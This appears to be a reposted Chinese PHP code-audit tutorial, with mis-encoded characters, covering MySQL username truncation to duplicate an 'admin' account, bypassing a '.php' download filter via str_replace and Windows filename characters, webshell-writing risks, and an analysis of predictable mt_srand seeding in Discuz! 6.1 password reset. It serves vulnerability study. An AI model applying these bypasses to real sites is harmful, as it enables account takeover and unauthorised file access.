mysql>?insert?into?truncated_test(`username`,`password`)?values(concat("admin",0xc1),?"new_pass2"); Query?OK,?1?row affected,?1?warning?(0.00?sec)mysql>?select?*?from?truncated_test; +----+------------+----------+ |?id?|?username?|?password?| +----+------------+----------+ |?1?|?admin?|?pass?| |?2?|?admin?|?new_pass?| |?3?|?admin?|?new_pass2?| +----+------------+----------+ 2?rows?in?set?(0.00?sec)不少的web應(yīng)用程序沒有考慮到這些問題,只是在數(shù)據(jù)存儲(chǔ)前簡(jiǎn)單查詢數(shù)據(jù)是否包含相同數(shù)據(jù),以下代碼:
$result?=?mysql_query("SELECT * from test_user where user='$user' "); .... if(@mysql_fetch_array($result,?MYSQL_NUM))?{ die("already exist"); }| 漏洞審計(jì)策略 |
| PHP版本要求:無 md5-9f2f1d115a7b72c89ed0cc63ef8f6e45 |
文件操做里的特殊字符
文件操做里有不少特殊的字符,發(fā)揮特別的做用,不少web應(yīng)用程序沒有注意處理這些字符而致使安全問題。好比不少人都知道的windows系統(tǒng)文件 名對(duì)“空格”和“.”等的忽視,這個(gè)主要體如今上傳文件或者寫文件上,致使直接寫webshell。另外對(duì)于windows系統(tǒng)對(duì)“...\”進(jìn)行系統(tǒng)轉(zhuǎn) 跳等等。 下面還給你們介紹一個(gè)很是有意思的問題:
//Is this code vul? if(?eregi(".php",$url)?){ die("ERR"); } $fileurl=str_replace($webdb[www_url],"",$url); ..... header('Content-Disposition: attachment; filename='.$filename);不少人看出來了上面的代碼的問題,程序首先禁止使用“.php”后綴。可是下面竟然接了個(gè)strreplace替換$webdbwwwurl為空,那么咱們提交“.p$webdbwww_urlhp”就能夠饒過了。那么上面的代碼雜fix呢?有人給出了以下代碼:
$fileurl=str_replace($webdb[www_url],"",$url); if(?eregi(".php",$url)?){ die("ERR"); }strreplace提到前面了,很完美的解決了strreplace代碼的安全問題,可是問題不是那么簡(jiǎn)單,上面的代碼在某些系統(tǒng)上同樣能夠突破。接下來咱們先看看下面的代碼:
<?php for($i=0;$i<255;$i++)?{ $url?=?'1.ph'.chr($i); $tmp?=?@file_get_contents($url); if(!empty($tmp))?echo chr($i)."\r\n"; } ?>咱們?cè)趙indows系統(tǒng)運(yùn)行上面的代碼獲得以下字符* < > ? P p均可以打開目錄下的1.php。
| 漏洞審計(jì)策略 |
| PHP版本要求:無 md5-eab7bef0c1900e1e0fd6d8c2ef28d4ef |
怎么進(jìn)一步尋找新的字典
上面咱們列舉不少的字典,可是不少都是已經(jīng)公開過的漏洞或者方式,那么咱們?cè)趺催M(jìn)一步找到新的字典或者利用方式呢?
- 分析和學(xué)習(xí)別人發(fā)現(xiàn)的漏洞或者exp,總結(jié)出漏洞類型及字典。
- 經(jīng)過學(xué)習(xí)php手冊(cè)或者官方文檔,挖掘出新的有危害的函數(shù)或者利用方式。
- fuzz php的函數(shù),找到新的有問題的函數(shù)(不必定非要溢出的),如上一章的4.6的部分不少均可以簡(jiǎn)單的fuzz腳本能夠測(cè)試出來。
- 分析php源代碼,發(fā)現(xiàn)新的漏洞函數(shù)“特性”或者漏洞。(在上一節(jié)里介紹的那些“漏洞審計(jì)策略”里,都沒有php源代碼的分析,若是你要進(jìn)一步找 到新的字典,能夠在php源代碼的基礎(chǔ)上分析下成因,而后根據(jù)這個(gè)成因來分析尋找新的漏洞函數(shù)“特性”或者漏洞。)
- 有條件或者機(jī)會(huì)和開發(fā)者學(xué)習(xí),找到他們實(shí)現(xiàn)某些經(jīng)常使用功能的代碼的缺陷或者容易忽視的問題。
DEMO
DEMO -- Discuz! Reset User Password 0day Vulnerability 分析 (Exp:http://sebug.net/vuldb/ssvid-17519)
| PHP版本要求:php4 php5<5.2.6 |
| 系統(tǒng)要求: 無 |
| 審計(jì)策略:查找mt_srand/mt_rand |
第一步 安裝Discuz! 6.1后利用grep查找mt_srand獲得:
heige@heige-desktop:~/dz6/upload$ grep?-in?'mt_srand'?-r?./?--colour?-5 ./include/global.func.php-694-?$GLOBALS['rewritecompatible']?&&?$name?=?rawurlencode($name); ./include/global.func.php-695-?return?'<a href="tag-'.$name.'.html"'.stripslashes($extra).'>'; ./include/global.func.php-696-} ./include/global.func.php-697- ./include/global.func.php-698-function?random($length,?$numeric?=?0)?{ ./include/global.func.php:699:?PHP_VERSION?<?'4.2.0'?&&?mt_srand((double)microtime()?*?1000000); ./include/global.func.php-700-?if($numeric)?{ ./include/global.func.php-701-?$hash?=?sprintf('%0'.$length.'d',?mt_rand(0,?pow(10,?$length)?-?1)); ./include/global.func.php-702-?}?else?{ ./include/global.func.php-703-?$hash?=?''; ./include/global.func.php-704-?$chars?=?'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz'; -- ./include/discuzcode.func.php-30- ./include/discuzcode.func.php-31-if(!isset($_DCACHE['bbcodes'])?||?!is_array($_DCACHE['bbcodes'])?||?!is_array($_DCACHE['smilies']))?{ ./include/discuzcode.func.php-32-?@include?DISCUZ_ROOT.'./forumdata/cache/cache_bbcodes.php'; ./include/discuzcode.func.php-33-} ./include/discuzcode.func.php-34- ./include/discuzcode.func.php:35:mt_srand((double)microtime()?*?1000000); ./include/discuzcode.func.php-36- ./include/discuzcode.func.php-37-function?attachtag($pid,?$aid,?&$postlist)?{ ./include/discuzcode.func.php-38-?global?$attachrefcheck,?$thumbstatus,?$extcredits,?$creditstrans,?$ftp,?$exthtml; ./include/discuzcode.func.php-39-?$attach?=?$postlist[$pid]['attachments'][$aid]; ./include/discuzcode.func.php-40-?if($attach['attachimg'])?{有兩個(gè)文件用到了mt_srand(),第1是在./include/global.func.php的隨機(jī)函數(shù)random()里:
PHP_VERSION < '4.2.0' && mt_srand((double)microtime() * 1000000);判斷了版本,若是是PHP_VERSION > '4.2.0'使用php自己默認(rèn)的播種。從上一章里的分析咱們能夠看得出來,使用php自己默認(rèn)的播種的分程序兩種狀況:
1) 'Cross Application Attacks' 這個(gè)思路是只要目標(biāo)上有使用使用的程序里定義了相似mt_srand((double)microtime() * 1000000)的播種的話,又頗有可能被暴力。在dz這里不須要Cross Application,由于他自己有文件就定義了,就是上面的第2個(gè)文件:
./include/discuzcode.func.php:35:mt_srand((double)microtime() * 1000000);這里咱們確定dz是存在這個(gè)漏洞的,文章給出來的exp也就是基于這個(gè)的。(具體exp利用的流程有興趣的能夠本身分析下])
2) 有的人認(rèn)為若是沒有mt_srand((double)microtime() * 1000000);這里的定義,那么dz就不存在漏洞,這個(gè)是不正確的。首先你不能夠保證別人使用的其余應(yīng)用程序沒有定義,再次不利用'Cross Application Attacks',5.2.6>php>4.2.0 php自己默認(rèn)播種的算法也不是很強(qiáng)悍(分析詳見上),也是有能夠暴力出來,只是速度要慢一點(diǎn)。
附錄
總結(jié)
以上是生活随笔為你收集整理的PHP的威胁函数与PHP代码审计的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 盘点2021年Linux界的12件大事
- 下一篇: php代码里怎么写html代码_菜鸟青铜